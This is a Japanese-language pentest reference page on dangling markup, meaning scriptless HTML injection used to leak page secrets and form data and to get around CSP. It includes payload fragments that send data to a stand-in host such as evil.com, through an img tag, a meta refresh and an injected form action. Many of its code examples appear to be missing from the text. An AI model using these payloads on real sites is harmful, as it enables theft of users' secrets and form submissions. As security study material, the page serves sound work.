Dangling Markup - HTML scriptless injection
要約
このテクニックは、HTMLインジェクションが見つかったときにユーザーから情報を抽出するために使用できます。これは、XSSを悪用する方法が見つからない場合に非常に役立ちますが、いくつかのHTMLタグをインジェクトできる場合です。 また、秘密が平文で保存されている場合にクライアントからそれを外部に送信したい場合や、スクリプトの実行を誤誘導したい場合にも役立ちます。
ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に送信することによっていくつかのContent Security Policyをバイパスするために使用できます(htmlタグ、CSS、http-metaタグ、フォーム、baseなど)。
主な応用
平文の秘密を盗む
ページが読み込まれるときに<img src='http://evil.com/log.cgi?
をインジェクトすると、被害者はインジェクトされたimg
タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密がある場合、それを盗みます(同じことを二重引用符を使用して行うこともできます。より興味深いものを使用するかどうかを確認してください)。
img
タグが禁止されている場合(たとえばCSPのため)、<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
を使用することもできます。
注意してください。Chromeは、"<"や"\n"を含むHTTP URLをブロックしますので、"ftp"など他のプロトコルスキームを試すことができます。
CSSの@import
を悪用することもできます(";"が見つかるまでコード全体を送信します)。
あなたは**<table
**を使用することもできます:
以下は、<base
タグを挿入することもできます。引用符が閉じられるまで、すべての情報が送信されますが、ユーザーの操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、baseタグがリンクが指すドメインを変更しているためです):
フォームの盗み取り
フォームの盗み取り 2
フォームヘッダーを設定します:<form action='http://evil.com/log_steal'>
これにより、次のフォームヘッダーが上書きされ、フォームのすべてのデータが攻撃者に送信されます。
フォームの盗み取り 3
ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更できます:
攻撃者はこれを使用して情報を盗むことができます。
この攻撃の例をこの解説で見つけることができます。
明文の秘密を盗む2
最新のテクニックを使用してフォームを盗む(新しいフォームヘッダーを注入する)ことができ、その後新しい入力フィールドを注入できます:
そして、この入力フィールドには、HTML内の二重引用符と次の二重引用符の間のすべてのコンテンツが含まれます。この攻撃は、"Stealing clear text secrets"と"Stealing forms2"を組み合わせています。
同じことを、フォームと<option>
タグを注入することで行うことができます。閉じられた</option>
が見つかるまでのすべてのデータが送信されます:
フォームパラメーターインジェクション
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行される可能性があります:
noscriptを通じたクリアテキストの秘密情報の盗み出し
<noscript></noscript>
は、ブラウザがJavaScriptをサポートしていない場合にその内容が解釈されるタグです(ChromeでJavaScriptを有効/無効にするには、chrome://settings/content/javascriptにアクセスしてください)。
攻撃者が制御するサイトに、挿入ポイントからWebページの内容を盗み出す方法は、次のように挿入することです:
ユーザーインタラクションを使ったCSPのバイパス
このportswiggersの研究から、最もCSPが制限された環境でも、ユーザーインタラクションを使ってまだデータを外部に送信することができることがわかります。今回は、次のペイロードを使用します:
注意してください。被害者にリンクをクリックしてもらい、それによってあなたが制御する****ペイロードにリダイレクトされるようにします。また、base
タグ内のtarget
属性には、次のシングルクォートまでのHTMLコンテンツが含まれていることにも注意してください。
これにより、リンクがクリックされた場合の**window.name
の値は、そのHTMLコンテンツ全体になります。したがって、被害者がリンクをクリックしてアクセスしているページをあなたが制御しているため、そのwindow.name
にアクセスしてそのデータを外部送信**することができます。
誤解を招くスクリプトワークフロー1 - HTMLネームスペース攻撃
次のものを上書きし、スクリプトのフローに影響を与える値を持つ新しいタグをHTML内に挿入します。この例では、情報を共有する相手を選択しています:
誤解を招くスクリプトワークフロー2 - スクリプト名前空間攻撃
HTMLタグを挿入してjavascript名前空間内に変数を作成します。その後、この変数はアプリケーションのフローに影響を与えます。
JSONPの悪用
JSONPインターフェースを見つけた場合、任意のデータを使用して任意の関数を呼び出すことができるかもしれません:
または、JavaScript を実行しようとすることさえできます:
Iframeの悪用
子ドキュメントは、親のlocation
プロパティをクロスオリジンの状況でも表示および変更する機能を持っています。これにより、iframe内にスクリプトを埋め込み、クライアントを任意のページにリダイレクトすることが可能です。
これは次のように緩和することができます: sandbox=' allow-scripts allow-top-navigation'
また、別のページから機密情報を漏洩させるためにiframeを悪用することもできます iframeのname属性を使用。これは、機密情報がiframeのname属性内に表示されるHTMLインジェクションを悪用して、自分自身をiframesするiframeを作成できるため、初期のiframeからその名前にアクセスして漏洩させることができるためです。
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<metaの悪用
**meta http-equiv
**を使用してCookieを設定するなど、複数のアクションを実行できます:<meta http-equiv="Set-Cookie" Content="SESSID=1">
またはリダイレクトを実行する(この場合は5秒後に):<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
これはhttp-equivに関するCSPで回避できます(Content-Security-Policy: default-src 'self';
、またはContent-Security-Policy: http-equiv 'self';
)
新しい<portal HTMLタグ
<portalタグの脆弱性に関する非常に興味深い研究がこちらで見つけられます。
この執筆時点では、Chromeでchrome://flags/#enable-portals
でportalタグを有効にする必要があります。それ以外の場合は機能しません。
HTMLリーク
HTMLで接続情報を漏洩させる方法のすべてがDangling Markupに役立つわけではありませんが、時には役立つこともあります。こちらで確認できます:https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SSリーク
これはdangling markupとXS-Leaksのミックスです。脆弱性の一方では、攻撃対象となるページと同じオリジンのページにHTMLを注入することができますが、もう一方では、HTMLを注入できるページを直接攻撃するのではなく、別のページを攻撃します。
pageSS-LeaksXS-Search/XS-Leaks
XS-Searchはサイドチャネル攻撃を悪用してクロスオリジン情報を外部に送信することを目的としています。したがって、これはDangling Markupとは異なる技術ですが、一部の技術はHTMLタグの含有を悪用します(JSの実行あり・なし)、例えばCSS InjectionやLazy Load Imagesなど。
pageXS-Search/XS-Leaksブルートフォース検出リスト
参考文献
Last updated